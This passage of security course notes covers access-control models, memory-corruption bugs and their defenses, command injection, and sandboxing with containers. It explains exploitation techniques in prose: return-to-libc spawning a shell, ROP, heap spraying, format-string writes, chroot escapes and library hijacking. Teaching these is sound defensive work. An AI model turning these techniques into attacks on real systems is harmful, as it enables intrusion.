An analyst who views Coca-Cola’s data can no longer view PepsiCo’s or Keurig Dr Pepper’s confidential data, but can still access airline clients.
This dynamic restriction enforces need-to-know and prevents cross-client information flow.
The model is a dynamic form of separation of duties, where restrictions depend on a user’s previous actions rather than static role definitions.
Sanitizing Data
In practice, sanitized or anonymized information may be shared across conflict classes without violating the Chinese Wall policy.
Aggregate statistics or generalized insights can be used safely once identifying details are removed, allowing useful analysis while maintaining confidentiality.
Weaknesses: It requires accurate tracking of user activity and careful definition of conflict classes. Overly broad classes can block legitimate work; overly narrow ones may miss conflicts.
Comparative Overview
Access control models evolved to address different needs and trade-offs.
| Model | Main Focus | Policy Defined By | Dynamics | Strength | Weakness |
|---|---|---|---|---|---|
| DAC | Ownership and sharing | User | Static | Simple and flexible | No containment; user-dependent |
| MAC | Confidentiality and integrity | System | Static | Strong enforcement | Complex and inflexible |
| RBAC | Job functions | Administrator | Limited | Scalable and structured | Static; prone to role explosion |
| ABAC | Context and attributes | Policy engine | Dynamic | Flexible and context-aware | Hard to audit and manage |
| Chinese Wall | Conflict of interest | System (history-based) | Dynamic | Enforces ethical boundaries | Administratively complex |
Key Takeaways
-
DAC allows user-managed sharing but offers weak containment.
-
MAC enforces strong, system-defined confidentiality and integrity rules but is hard to manage.
-
RBAC organizes permissions by job function for scalable administration.
-
ABAC adds flexibility through attribute-based, context-aware decisions.
-
Chinese Wall prevents conflicts of interest by making access depend on prior actions.
-
The principle of least privilege and privilege separation apply across all models to minimize risk.
-
Real systems combine multiple models to balance usability, assurance, and administrative effort.
Week 7: Memory Vulnerabilities and Defenses
Understanding memory vulnerabilities is essential to understanding how systems fail and how they are defended. We want to understand how memory errors arise, how they are exploited, and how modern systems defend against them.
Memory Corruption and Exploitation
Most software vulnerabilities stem from incorrect handling of memory. In C and C++, the compiler trusts the programmer to manage memory correctly. When programs read or write beyond valid memory boundaries, they corrupt nearby data and sometimes control structures. These problems lead to memory corruption, the root cause of buffer overflows, integer overflows, and use-after-free bugs.
Process Memory Layout
Every running program occupies virtual memory organized into distinct regions. Understanding this layout is important because vulnerabilities arise from how programs use these regions incorrectly:
-
Text (code): Contains the compiled machine instructions. This region is marked read-only and executable to prevent modification.
-
Data and BSS: Store global and static variables, either initialized (data) or zero-initialized (BSS).
-
Heap: Holds dynamically allocated memory from
malloc(),calloc(), ornew. The heap grows upward toward higher addresses as new allocations are made. -
Shared libraries: Mapped into the process address space, providing reusable code and data.
-
Stack: Stores temporary data for function calls, including parameters, return addresses, and local variables. The stack grows downward toward lower addresses with each new function call.
-
Kernel space: Reserved for the operating system, separated from user-space memory.
This layout is consistent across most UNIX, Linux, and Windows systems, though exact addresses vary.
Because the address space on current processors is huge, systems leave unmapped memory between these regions as guard zones. An overflow that extends beyond its region will typically hit unmapped memory and trigger a segmentation fault before reaching another valid region.
Stack Buffer Overflows
A buffer overflow happens when data exceeds the size of a destination buffer. Stack buffer overflows are particularly dangerous because of how the stack organizes function data.
When a function is called, the compiler creates a stack frame containing the function's parameters, the return address (where execution should resume after the function completes), saved registers, and local variables. The stack grows downward in memory: each new function call creates a frame at a lower memory address than the previous one. Within a frame, local variables are typically stored at lower addresses than the saved return address.
This arrangement creates a critical vulnerability. When a buffer overflow occurs in a local variable, the excess data writes into memory at higher addresses, moving "up" through the stack frame. If the overflow is large enough, it overwrites other local variables first, then the return address itself. When the function attempts to return, the CPU pops the corrupted return address from the stack and jumps to it. If an attacker controls the overflow data, they can redirect execution to attacker-chosen code.
Consider a local character array of 16 bytes. If an unsafe function like gets() copies 100 bytes into this array, the excess 84 bytes overwrite whatever happens to be stored in the higher addresses of the stack frame. The attack succeeds because the stack holds both user data (the buffer) and control data (the return address) in adjacent memory, with no enforced boundary between them.
Heap Buffer Overflows
Heap buffer overflows work differently because heap memory has a different structure. When malloc() allocates memory, the allocator maintains metadata adjacent to each allocated block. This metadata includes the size of the block, status flags, and pointers that link free blocks together in the allocator's free lists.
A heap overflow occurs when data written to an allocated buffer extends past its boundary into adjacent memory. Unlike stack overflows that target return addresses, heap overflows typically corrupt either the metadata of neighboring blocks or the contents of adjacent allocations. If the overflow corrupts allocator metadata, subsequent malloc() or free() operations may behave unpredictably, potentially allowing an attacker to write arbitrary values to chosen memory locations. If the overflow corrupts a neighboring allocation, the attacker may overwrite application data structures, including function pointers or object vtables that control program behavior.
Integer overflows are subtler. Arithmetic that exceeds the maximum value of a type wraps around to zero. A calculation that allocates too small a buffer, for example, can make a later copy operation overwrite adjacent memory. Off-by-one errors fall into the same category: a loop that copies one extra byte can overwrite a boundary value such as a null terminator or a saved pointer.
Use-after-free bugs occur when a program continues to use memory after freeing it. The physical memory still exists and may contain old data, but the allocator can reuse it at any time. If the allocator reuses that memory for another object, the program may dereference stale pointers that now point to attacker-controlled data. Attackers exploit this through heap spraying: filling the heap with controlled data so that freed memory likely contains attacker values when accessed. This can redirect function pointers or vtable pointers to attacker-controlled addresses.
Double-free bugs occur when the same memory is freed twice. This corrupts the allocator's internal free lists, which link available chunks using pointers stored in the freed memory itself. After a double-free, the allocator may return the same memory address from two separate malloc() calls, breaking memory isolation. Attackers can manipulate free-list pointers to force the allocator to return pointers to arbitrary memory locations.
Format-string vulnerabilities appear when untrusted input is used directly as a format argument to printf or similar functions. Directives such as %x print data from the stack, and %n writes a value to a memory address that is read from the stack. If the format string comes from user input, the attacker can read memory or even write arbitrary values to attacker-chosen locations.
Early exploits injected shellcode, machine instructions placed into a writable buffer, and redirected execution to run them. When systems began marking writable pages as non-executable, attackers adapted their techniques to work within these new constraints.
Defensive Mechanisms
Each defensive measure was developed to close a gap that earlier systems left open. Together, they form the layered protection that modern systems rely on.
Non-executable memory (NX, DEP, W^X)
The first step was to separate code from data. NX (No eXecute) or DEP (Data Execution Prevention) marks writable memory as non-executable. This capability is provided by the processor's memory management unit (MMU) and configured by the operating system when it sets up page permissions. The CPU refuses to execute any instructions from pages marked non-executable, preventing injected shellcode from running. NX does not stop memory corruption itself, but it eliminates the simplest outcome: running arbitrary injected code.
Adapting to non-executable memory
When NX made shellcode injection impractical, attackers shifted to code reuse techniques. These approaches work because they execute only code that is already marked executable: they simply chain it together in ways the original programmers never intended.
Return-to-libc was the first widely used code reuse technique. Instead of injecting shellcode, an attacker overwrites a return address to point to an existing library function such as system(). By carefully arranging data on the stack, the attacker can make that function execute with attacker-chosen arguments. For example, redirecting to system("/bin/sh") spawns a shell without injecting any code.
Return-to-libc works because library functions are already executable. The attack reuses trusted code for untrusted purposes. The main limitation is that the attacker must find a single function that accomplishes their goal and must be able to set up its arguments correctly.
Return-oriented programming (ROP) generalizes this idea. Instead of calling a single function, ROP chains together short sequences of instructions called gadgets. Each gadget is a fragment of existing code that ends with a return instruction. By placing a sequence of gadget addresses on the stack, an attacker can compose arbitrary computation from these fragments.
ROP works because each gadget ends with a return, which pops the next address from the stack and jumps there. The attacker controls what addresses are on the stack, effectively writing a program out of pre-existing instruction sequences. With enough gadgets, an attacker can perform any operation (load values, perform arithmetic, make system calls) all without injecting a single byte of code.
ROP is more powerful than return-to-libc but also more complex. The attacker must find suitable gadgets in the executable memory of the target process and must know their addresses. This requirement explains why address randomization (ASLR) is so important: it makes gadget locations unpredictable.
Address-space layout randomization (ASLR)
Return-to-libc and ROP showed that NX alone was not enough. Attackers could still call existing functions or chain gadgets if they knew their addresses. ASLR fixed that by randomizing the layout of the process address space. Each run places the stack, heap, and libraries at unpredictable locations. Without that knowledge, hardcoded addresses no longer work reliably. ASLR's strength depends on the randomness available and on the absence of information leaks that reveal memory addresses.
Stack canaries
Stack canaries add a small random value between local variables and saved control data on the stack. The program checks the value before returning from a function. If the canary changed, execution stops. This defense detects stack overflows that overwrite return addresses, preventing direct control hijacking. The idea is simple but powerful: any corruption that changes the control data must also change the canary.
Heap canaries and allocator hardening
Heap corruption exploits were once as common as stack overflows. Modern allocators introduced defenses modeled after stack canaries and added several more.
Heap blocks may include heap canaries (or cookies): small guard values placed before or after each block's user data. When a block is freed, the allocator verifies that the guard is intact. If an overflow or underflow modified it, the program aborts.
Allocators also use safe unlinking to validate free-list pointers, pointer mangling to encode metadata with a secret, and quarantining to delay reuse of freed blocks. Quarantining prevents use-after-free exploitation by holding freed memory in a queue before making it available for reuse. Double-free detection tracks whether chunks are currently free and aborts if the same memory is freed twice. These techniques make heap corruption much less predictable and far harder to exploit.
Safer libraries and compiler checks
Many vulnerabilities arise from unsafe standard functions such as gets, strcpy, or sprintf, which do not enforce buffer limits. Modern compilers and libraries address this by warning developers or substituting safer variants like fgets, strncpy, and snprintf. Options such as FORTIFY_SOURCE in gcc can perform runtime checks to detect certain unsafe copies. The goal is to eliminate the easy mistakes that once led to catastrophic failures.
Linker and loader hardening
Dynamic linking once allowed attackers to tamper with relocation tables and redirect function calls. Linker and loader hardening, such as RELRO (RELocation Read-Only), marks these tables read-only after initialization and resolves symbols early. This removes the possibility of overwriting linkage data to redirect control flow.
Development-time Protections
Preventing memory vulnerabilities during development is more effective than mitigating them at runtime. Modern testing tools make many memory bugs visible before deployment.
Compiler instrumentation can add runtime checks to detect invalid memory operations and arithmetic errors during testing. An AddressSanitizer (ASan) is the most widely used tool: it detects buffer overflows, use-after-free, and double-free by maintaining shadow memory that tracks the state of every byte. When memory is freed, ASan marks it as invalid and quarantines it to increase the detection window. These checks turn silent corruption into clear, reproducible failures. These features are used only during development because they slow execution (2-3x overhead), but they find the same classes of vulnerabilities that attackers exploit.
Fuzzing complements compiler instrumentation by generating a large number of random or mutated inputs, watching for crashes and test failures. Coverage-guided fuzzers automatically explore new code paths and expose edge cases that human testing might never reach. Fuzzing does not prove correctness;it simply finds the conditions that lead to failure. Combined with compiler instrumentation, it is one of the most effective ways to uncover memory-safety bugs before software is released.
Together, these testing tools address the visibility problem: they make hidden memory errors observable and fixable long before deployment.
Hardware Mechanisms
Modern processors now assist in enforcing memory safety directly.
Control-flow integrity (CFI). Hardware support such as Intel's Control-flow Enforcement Technology (CET) protects return addresses and indirect branches. A shadow stack stores a verified copy of each return address, detecting tampering. Indirect branch tracking ensures jumps go only to legitimate targets.
Pointer authentication. Some architectures add a short integrity check to pointer values so the processor can detect when a pointer has been modified. This prevents forged return addresses or corrupted function pointers from being used.
Memory tagging. Hardware features like ARM's Memory Tagging Extension (MTE) associate small tags (4 bits) with memory allocations and pointers. When memory is freed, its tag changes. Any subsequent access through a pointer with the old tag triggers an exception. The processor checks tags on each access, revealing use-after-free and out-of-bounds errors with minimal performance cost (<5% overhead). These features extend the same principle as software defenses (detect corruption and verify integrity) but enforce it in hardware.
How the Layers Work Together
Memory protection is not one mechanism but a collaboration across the system.
-
Hardware enforces basic integrity and blocks unsafe control transfers.
-
The operating system controls memory permissions and layout.
-
The compiler inserts runtime checks and promotes safer APIs.
-
Development tools detect vulnerabilities before software ships.
Each layer covers weaknesses the others cannot. NX stops shellcode. ASLR hides addresses. Canaries detect overwrites. Allocator hardening prevents metadata abuse. Hardware features validate control flow. Testing tools find the bugs that remain. No single technique provides security, but together they make exploitation unreliable and expensive.
Main points
-
Memory-safety problems arise from trusting memory contents that can change unexpectedly - usually due to code that either does not check for buffer limits or sets limits improperly due do integer overflow.
-
Each defense was designed to close a specific gap: NX for code injection, ASLR for address predictability, canaries for overwrites, allocator hardening for heap corruption and double-free, and quarantining for use-after-free.
-
Code reuse techniques (return-to-libc and ROP) emerged as responses to non-executable memory protections.
-
Hardware integrity checks and tagging extend these protections into the processor.
-
Compiler instrumentation and fuzzing expose vulnerabilities before deployment.
-
Defense-in-depth, not perfection, is the goal: multiple layers of modest protection combine to make attacks impractical.
Week 8: Command Injection and Input Validation Attacks
Command injection attacks exploit how programs interpret user input as executable commands rather than as data. They differ from memory corruption: the attacker alters what command runs instead of what code runs. These attacks affect databases, shells, file systems, and development environments, and remain among the most persistent classes of software vulnerabilities.
SQL Injection
SQL injection manipulates database queries by embedding SQL syntax in user input. It can expose, alter, or delete data and even execute administrative commands.
Primary Defenses
The core defense is to keep query structure fixed and pass data separately through:
-
Parameterized queries: Database receives commands and data separately, never interpreting data as SQL syntax
-
Stored procedures: Predefined SQL functions with fixed structure that accept only data parameters
Secondary Defense
Input validation and sanitization add a second layer but cannot be relied on alone. Use allowlists that specify what characters are permitted, not denylists that try to block dangerous patterns. Sanitization through escaping special characters (e.g., using database-specific escaping functions) can help but is error-prone and should never replace parameterized queries.
NoSQL Injection
NoSQL databases avoid SQL syntax but still parse user input that can include operators or code. Injection can happen when JSON or query operators are accepted unchecked.
Defense principles:
-
Validate input types (expect strings, reject objects)
-
Restrict operator usage (block
$where,$regex, and other dangerous operators) -
Avoid execution of user-supplied code such as JavaScript in
$whereclauses -
Use schema enforcement and allowlists to reduce exposure
Shell Command Injection
Shell injection exploits programs that pass user input to command interpreters like sh, bash, or cmd.exe. Shell metacharacters (;, |, $(), backticks) enable attackers to append new commands or substitute results.
Safest defense: Avoid shells entirely and use system APIs that execute programs directly, passing arguments as separate parameters (e.g., execve() with argument array, Python's subprocess with shell=False).
When shell use is unavoidable, combine allowlist validation with proper sanitization (e.g., shlex.quote() in Python to escape shell metacharacters), and run the process with minimal privileges.
Environment Variable Attacks
Programs inherit environment variables that control their behavior. These can be exploited through two distinct attack vectors.
Command Resolution Attacks (PATH, ENV, BASH_ENV)
Attack mechanism: Control which executable runs when a program or script invokes a command by name.
PATH manipulation redirects command lookups by placing attacker-controlled directories early in the search path. When a script runs ls or wget, the shell searches PATH directories in order. An attacker who can modify PATH or write to an early PATH directory can substitute malicious executables.
ENV and BASH_ENV specify initialization scripts that run when shells start. If controlled by an attacker, these variables cause arbitrary commands to execute at the beginning of every shell script, affecting system scripts and cron jobs.
Defenses:
-
Scripts with elevated privileges should explicitly set PATH to trusted directories
-
Unset ENV and BASH_ENV in security-sensitive contexts
-
Use absolute paths for critical commands (e.g.,
/usr/bin/lsinstead ofls)
Library Loading Attacks (LD_PRELOAD, LD_LIBRARY_PATH, DLL Sideloading)
Attack mechanism: Control which shared libraries are loaded into running programs, allowing function-level hijacking rather than executable replacement.
LD_PRELOAD (Linux/Unix) specifies libraries to load before all others, enabling attackers to override standard library functions like malloc(), read(), or rand(). Through function interposition, the attacker's replacement function can call the original after modifying parameters or logging data - making attacks stealthy since the program continues to work normally while being monitored or manipulated.
LD_LIBRARY_PATH (Linux/Unix) redirects library searches to attacker-controlled directories before system directories.
DLL sideloading (Windows) exploits the DLL search order. Windows searches the executable's directory before system directories, allowing attackers to place malicious DLLs that will be loaded instead of legitimate system libraries.
Why library loading attacks are distinct:
-
More surgical: Override individual functions, not entire programs
-
More powerful: Hijack cryptographic functions, logging, authentication checks
-
Function interposition: Wrap original functions to add malicious behavior while maintaining normal operation (e.g., log all writes while still writing to files)
-
Different protection: Operating systems block LD_PRELOAD/LD_LIBRARY_PATH in setuid programs, but user-level attacks remain effective
-
Cross-platform parallel: LD_PRELOAD on Unix maps directly to DLL sideloading on Windows
Defenses:
-
Specify full paths when loading libraries
-
Verify library authenticity through digital signatures
-
Use Secure DLL Search Mode on Windows
-
Privileged applications should sanitize or ignore library-related environment variables
-
Note: Even with OS protections for privileged programs, attacks on user-level programs remain practical
Package and Dependency Attacks
Modern software depends heavily on third-party packages. Attackers exploit this through typosquatting (packages with names similar to popular ones), dependency confusion (preferring public packages over internal ones), and malicious installation scripts.
These are supply chain attacks rather than direct code injection but have the same effect: untrusted code executes with developer privileges. They represent command injection at build time—they exploit the same trust failure but target development environments instead of running applications.
Path Traversal
Path traversal occurs when user input controls file paths and uses relative path elements (..) to escape restricted directories. Attackers may exploit symbolic links, encoding tricks, or platform differences to bypass filters.
Path equivalence is a related vulnerability where multiple different path strings can reference the same file or directory. Operating systems and file systems may treat paths as equivalent even when they differ textually. Examples include: redundant slashes (///file vs /file), alternative separators (\ vs / on Windows), case variations on case-insensitive systems, or mixed use of . (current directory). Attackers exploit path equivalence to bypass validation that checks for exact string matches, allowing access to restricted resources through alternate representations.
Defenses:
-
Resolve paths to absolute form before validation (canonicalization)
-
Avoid direct concatenation of user input into file paths
-
Restrict application permissions so that even successful traversal yields limited access
Path traversal and character encoding attacks often overlap. Both exploit how systems interpret or normalize input paths, and both are prevented by consistent canonicalization—resolving paths and encodings to a standard form before applying security checks.
Character Encoding Issues
Encoding attacks rely on multiple representations of the same character to bypass validation. Overlong UTF-8 encodings and nested URL encodings can slip through checks that decode input later.
General rule: Decode and normalize before validating. Applications should reject ambiguous encodings and rely on standard, well-tested parsing libraries rather than custom decoders.
Race Conditions (TOCTTOU)
A time-of-check to time-of-use (TOCTTOU) vulnerability arises when a resource changes between validation and use. This can allow an attacker to substitute a protected file or link after a permissions check.
Fixes:
-
Use atomic operations that check and act in one step
-
Manipulate open file descriptors rather than filenames
-
Avoid separate "check then act" logic whenever possible
File Descriptor Misuse
Programs often assume that standard input, output, and error descriptors (0, 1, 2) are valid. If an attacker closes these before running a privileged program, new files may reuse those descriptor numbers. Output intended for the terminal may overwrite sensitive files.
Defense: Secure programs verify and reopen descriptors 0–2 before performing any file operations.
Input Validation
Input validation underpins all injection defenses but is difficult to implement correctly.
Validation Approaches
- Allowlisting (safest)
- Specify what is allowed. Accept only characters, patterns, or values that are explicitly permitted. Unknown inputs are rejected by default.
- Denylisting (less safe)
- Specify what is forbidden. Reject input containing dangerous patterns. Attackers often find bypasses through creative encodings or edge cases.
Sanitization Techniques
When potentially dangerous input must be processed, sanitization modifies it to make it safe:
- Escaping special characters
- Add escape sequences to neutralize characters with special meaning in the target context (SQL, shell, etc.). Use established libraries like Python's
shlex.quote()for shell commands rather than manual escaping. - Removing or replacing characters
- Strip out or substitute dangerous characters entirely. This is simpler than escaping but may be too restrictive for legitimate input.
Important: Sanitization should be context-specific and used as a secondary defense alongside proper APIs that separate commands from data.
Key Principles
-
Validate after decoding and normalization
-
Consider how the input will be used (context matters)
-
Length limits alone do not prevent injection
-
Use safe APIs that separate commands from data
-
Minimize trust boundaries in the system
Comprehension and Design Errors
Most injection flaws result from misunderstandings: programmers don't fully grasp how interpreters parse input or how system calls behave.
Common misunderstandings:
-
Not knowing all special characters that need escaping
-
Not realizing standard file descriptors can be closed
-
Assuming filenames don't contain special characters
-
Not understanding URL decoding order
-
Believing a simple string search prevents path traversal
-
Thinking validation and escaping are equivalent
Reducing errors:
-
Prefer simple, safe APIs that are hard to misuse
-
Provide secure examples in documentation
-
Make insecure options hard to reach (secure defaults)
-
Education and code review focused on platform-specific quirks
Defense in Depth
No single control can prevent all injection vulnerabilities. Secure systems rely on multiple layers:
-
Validate input at boundaries using allowlists where possible
-
Use APIs that isolate data from code (parameterized queries, argument arrays)
-
Run with least privilege and sandbox where possible
-
Audit and test for injection behaviors through code review and penetration testing
-
Monitor for suspicious activity through logging and anomaly detection
Command and input injection attacks persist because they exploit human assumptions about how software interprets input. Understanding those interpretations -- and designing systems that never blur data and commands -- is essential for secure programming.
Week 8: Containment and Application Isolation
Containment limits what a compromised process can do after an attack succeeds. Even with proper input validation, vulnerabilities may remain, and if an attacker gains control of a process, traditional access controls become ineffective since the operating system assumes the process acts within its assigned privileges. Containment creates isolation boundaries that confine the impact of a faulty or malicious program, preventing it from affecting the rest of the system.
Containment operates at multiple layers:
-
Application sandboxes restrict individual processes
-
Containers isolate sets of processes
-
Virtual machines emulate entire operating systems
-
Hardware-based isolation enforces security boundaries below the operating system level
Application Sandboxing
A sandbox is a restricted execution environment that mediates interactions between an application and the operating system by limiting resource access, system calls, and visible state. Sandboxing evolved from early filesystem-based confinement to kernel-level and language-level environments that can restrict both native and interpreted code.
Filesystem-Based Containment
chroot
The chroot system call changes a process's view of the root directory to a specified path, so all absolute paths are resolved relative to that new root. Child processes inherit this environment, creating a chroot jail. This mechanism affects only the filesystem namespace and does not restrict privileges or system calls.
A process with root privileges inside a chroot jail can escape by:
-
Manipulating directory structures (creating a subdirectory, chrooting into it, then traversing upward)
-
Using
ptraceto attach to processes outside the jail if accessible -
Creating device nodes to access system memory or disk directly
The chroot mechanism provides no limits on CPU, memory, or I/O usage and requires copying all dependent executables, libraries, and configuration files into the jail. While still used for testing or packaging, chroot is not suitable for reliable containment.
FreeBSD Jails
FreeBSD Jails extended chroot by adding process and network restrictions, but still lacked fine-grained resource management.
System Call-Based Sandboxes
The system call interface defines the actual power of a process, as every interaction with resources goes through a system call. A system call sandbox intercepts calls and applies a policy before allowing execution, with enforcement occurring either in user space or within the kernel.
User-Level Interposition
Early implementations operated entirely in user space, often using the ptrace debugging interface to monitor processes. Janus (UC Berkeley) and Systrace (OpenBSD) are examples of this approach that relied on user-level processes for policy enforcement. Each system call was intercepted and checked against a policy before being allowed or denied. A policy might allow file access under a specific directory but deny network activity.
This approach had significant weaknesses:
-
Race conditions could occur between the check and the actual call (time-of-check-time-of-use vulnerabilities). A program could pass a safe filename during the check, then quickly change it to a sensitive file before execution.
-
Tracking all side effects of system calls was challenging (operations on file descriptors, file descriptor assignment and duplication, relative pathname parsing)
-
Multithreaded programs could bypass monitoring
-
Each system call introduced substantial overhead from context switches to the tracer
User-level interposition demonstrated feasibility but was not robust enough for production use.
Kernel-Integrated Filtering: seccomp-BPF
Linux moved sandbox enforcement into the kernel with Secure Computing Mode (seccomp). Modern systems use seccomp-BPF, which adds programmable filtering through BPF bytecode. The process installs a filter that the kernel executes whenever it attempts a system call, inspecting the system call number and arguments and returning actions such as:
-
SECCOMP_RET_ALLOW: permit the call -
SECCOMP_RET_ERRNO: block with error -
SECCOMP_RET_TRAP: deliver a signal -
SECCOMP_RET_KILL: terminate the process
Once installed, filters cannot be relaxed—only replaced with stricter ones.
Advantages:
-
Enforcement in the kernel eliminates race conditions
-
Fine-grained control over allowed calls and arguments
-
Low runtime overhead compared to user-space approaches
Limitations:
-
Policies are static and written in low-level BPF syntax
-
Does not manage resources or filesystem visibility
Seccomp-BPF is now widely used in browsers, container runtimes, and service managers to reduce kernel attack surfaces.
AppArmor
While seccomp-BPF provides powerful system call filtering, it cannot inspect pathnames passed as arguments to system calls. For example, it can allow or deny the open() system call entirely, but cannot distinguish between opening /etc/passwd versus /tmp/file. This limitation exists because seccomp-BPF operates at the system call interface and can only examine raw arguments like file descriptors and memory addresses, not the filesystem paths they reference.
AppArmor addresses this gap by enforcing Mandatory Access Control (MAC) policies based on pathnames. It operates as a Linux Security Module (LSM) in the kernel and mediates access to files and directories by checking the requested path against a per-program security profile. An AppArmor profile can specify rules like "allow read access to /var/www/**" or "deny write access to /etc/**."
AppArmor complements seccomp-BPF: seccomp-BPF restricts which system calls a process can make, while AppArmor restricts which resources those calls can access. Together, they provide defense in depth—one limiting the interface to the kernel, the other limiting access to specific objects within the filesystem namespace.
Language-Based Sandboxing
Some sandboxes operate entirely in user space by running code inside managed execution environments called process virtual machines. These environments provide language-level isolation by interpreting or compiling bytecode to a restricted instruction set.
Common examples include:
-
Java Virtual Machine (JVM): Verifies bytecode before execution, ensuring operations stay within defined type and memory bounds
-
Microsoft .NET Common Language Runtime (CLR): Provides managed execution for C#, VB.NET, and other languages
-
Python interpreter: Can confine execution by controlling access to modules
-
JavaScript engines: Browser engines restrict access to filesystem and network, allowing only specific APIs
These environments emulate a CPU and manage memory internally. Programs run as bytecode (which may be interpreted or compiled just-in-time) and cannot directly access hardware or invoke system calls. All external interaction goes through controlled APIs.
Strengths:
-
Memory safety and portability across platforms
-
No direct system calls
-
Logical separation between user code and host resources
Limitations:
-
Depend on runtime correctness—a flaw in the interpreter breaks isolation
-
Limited ability to enforce fine-grained resource policies
-
The runtime itself must be sandboxed at the OS level
Language-based sandboxes often coexist with kernel-level sandboxes. For instance, a web browser runs JavaScript inside an interpreter sandbox while using seccomp or Seatbelt to confine the browser process itself.
Sandbox Evolution
Application sandboxing evolved from restricting what a process can see to restricting what it can do:
-
Filesystem-based approaches like chroot provided simple legacy compatibility but no control of system calls or privileges
-
System call-based sandboxes at the kernel level offer fine-grained and efficient control but require complex or static configuration
-
Language-based sandboxes provide memory-safe and portable environments but depend on runtime integrity
OS-Level Isolation Primitives
System call sandboxes confine individual processes, but most applications consist of multiple cooperating processes. To contain such systems, the operating system must isolate groups of processes and the resources they share. Linux provides three kernel mechanisms for this purpose:
-
Namespaces: Define which resources a process can see
-
Control groups (cgroups): Define how much of each resource a process can use
-
Capabilities: Define what privileged actions a process may perform
Together, these mechanisms form the foundation for containers.
Namespaces
A namespace gives a process its own private copy of part of the system's global state. Processes that share a namespace see the same view of that resource, while those in different namespaces see distinct views. Each namespace type isolates one kernel subsystem.
Linux supports several namespace types:
-
PID namespaces: Isolate process IDs so each namespace has its own PID 1; processes cannot see or signal those in other namespaces
-
Mount namespaces: Allow each to mount or unmount filesystems independently
-
UTS namespaces: Isolate hostname and domain name
-
Network namespaces: Provide private network stacks with their own interfaces, routing tables, and sockets
-
IPC namespaces: Isolate System V and POSIX IPC objects like shared memory or semaphores
-
User namespaces: Map internal UIDs to different real UIDs on the host
-
Cgroup namespaces: Control visibility of control-group resources
Each namespace acts like a self-contained copy of a subsystem. Namespaces let multiple isolated environments run on a single kernel, providing the illusion of separate systems without hardware virtualization. However, they hide and partition resources but do not limit consumption.
Control Groups (cgroups)
A control group (cgroup) manages and limits resource usage. While namespaces define what a process can see, cgroups define how much of each resource it can use. A cgroup is a hierarchy of processes with limits on resource usage, where each type of resource is managed by a controller that measures consumption and enforces restrictions.
Common controllers manage:
-
CPU: Scheduling and quotas
-
Memory: Physical and swap memory limits
-
PIDs: Process count limits to prevent fork bombs
A service can belong to several cgroups with different controllers. The kernel tracks usage per group and enforces limits through scheduling and memory reclamation. If a process exceeds its memory quota, the kernel's out-of-memory (OOM) handler terminates it without affecting other groups.
Namespaces and cgroups together isolate processes functionally and economically: each process group sees only its own resources and consumes only what it is permitted.
Capabilities
Traditional Unix privilege management treated the root user (UID 0) as all-powerful, checking only whether the process's effective user ID was zero. This binary model violated the principle of least privilege.
Capability Model
Capabilities break up root's privilege into specific pieces. The kernel no longer assumes that UID 0 can do everything by default; each privileged operation now requires the matching capability. Each capability represents authorization for a specific class of privileged operation, such as configuring network interfaces (CAP_NET_ADMIN) or loading kernel modules (CAP_SYS_MODULE). Under this model, UID 0 alone no longer implies complete control—the kernel checks both the user ID and capability bits before allowing any privileged action.
Common Capabilities
Linux defines over 40 distinct capabilities. Some important examples include:
-
CAP_NET_ADMIN: Modify network configuration
-
CAP_SYS_MODULE: Load and unload kernel modules
-
CAP_SYS_TIME: Change the system clock
-
CAP_NET_BIND_SERVICE: Bind to privileged ports (below 1024)
-
CAP_DAC_OVERRIDE: Bypass file permission checks
For instance, a web server can be granted only CAP_NET_BIND_SERVICE to bind to port 80 while running as a non-root user. Even if compromised, it cannot mount filesystems, modify network routing, or change the system clock.
Applying Capabilities
Capabilities can be attached to executable files or granted to running processes. Once dropped, capabilities cannot be regained unless the process executes another binary that has them defined. Entering a user namespace alters capability behavior—a process can appear to be root inside the namespace, but its capabilities apply only within that namespace, not to the host.
Root Under Capabilities
A process with UID 0 must still have the appropriate capabilities to perform privileged operations; the UID alone is not sufficient. A non-root process given a specific capability can perform only the operation covered by that capability. Processes can permanently relinquish capabilities, allowing them to perform initialization requiring privilege and then continue safely with minimal rights, implementing the principle of least privilege.
Integration
-
Namespaces isolate visibility by giving each process its own view of system resources
-
Control groups enforce limits on resource consumption
-
Capabilities break up root privilege into narrowly scoped rights
Together, these mechanisms implement the principle of least privilege at the operating-system level, restricting what a process can see, what it can consume, and what it can do.
Containerization
Containerization builds on namespaces, control groups, and capabilities to package applications and their dependencies into lightweight, portable units that behave like independent systems. Each container has its own processes, filesystem, network interfaces, and resource limits, yet all containers run as ordinary processes under the same kernel.
Purpose and Design
Containers were introduced primarily to simplify the packaging, deployment, and distribution of software services. They made it possible to bundle an application and its dependencies into a single, portable image that could run the same way in development, testing, and production. The underlying mechanisms were developed for resource management and process control, not for security. As container frameworks matured, these same mechanisms also provided practical isolation, making containers useful for separating services, though not as a strong security boundary.
Container Operation
Traditional virtualization runs multiple operating systems by emulating hardware, with each virtual machine including its own kernel and system libraries. This offers strong isolation but duplicates system components, consuming memory and startup time. Containers achieve similar separation with less overhead by virtualizing the operating system interface—the process and resource view provided by the kernel—rather than hardware.
How the three mechanisms combine in containers:
-
Namespaces give each container its own process IDs, network stack, hostname, and filesystem view
-
Cgroups limit how much CPU time, memory, and disk bandwidth each container can consume
-
Capabilities restrict privileged operations so that even root inside a container is not root on the host
This layered design allows thousands of isolated services to run on one host without the duplication inherent in full virtual machines.
How Containers Work
Containers are a structured way to combine kernel features into a managed runtime. Each container starts as an ordinary process, but the container runtime (such as Docker, containerd, or LXC) configures it with:
-
New namespaces for isolated process IDs, network stack, hostname, and filesystem
-
Cgroups that define resource limits
-
Restricted capabilities so even root inside the container has limited privileges
-
A filesystem built from an image—a prebuilt snapshot containing all files, libraries, and configuration
Container runtimes automate the setup of kernel mechanisms and apply consistent, minimal-privilege defaults. Images are layered and can be stored in registries, making it easy to distribute and deploy applications consistently across different environments. This combination of isolation, resource control, and portability is why containers became central to modern software deployment.
Security Characteristics
Containers improve isolation but do not create a full security boundary. All containers share the same kernel, so a vulnerability in the kernel could allow one container to affect others. Within a container, the root user has administrative control inside that namespace but not on the host. However, kernel bugs or misconfigured capabilities can weaken that boundary.
To strengthen isolation, systems often combine containers with additional mechanisms:
-
seccomp-BPF filters block dangerous system calls
-
Mandatory Access Control (MAC) frameworks like SELinux or AppArmor restrict filesystem and process access
-
Running containers inside virtual machines for an extra hardware barrier
Containers provide meaningful isolation for ordinary services but are not appropriate for untrusted or hostile code without additional containment layers.
Practical Benefits
Beyond isolation, containers provide significant advantages:
-
Portability: Applications run the same way in development, testing, and production because each container includes its dependencies
-
Efficiency: Containers start quickly and use fewer resources than virtual machines
-
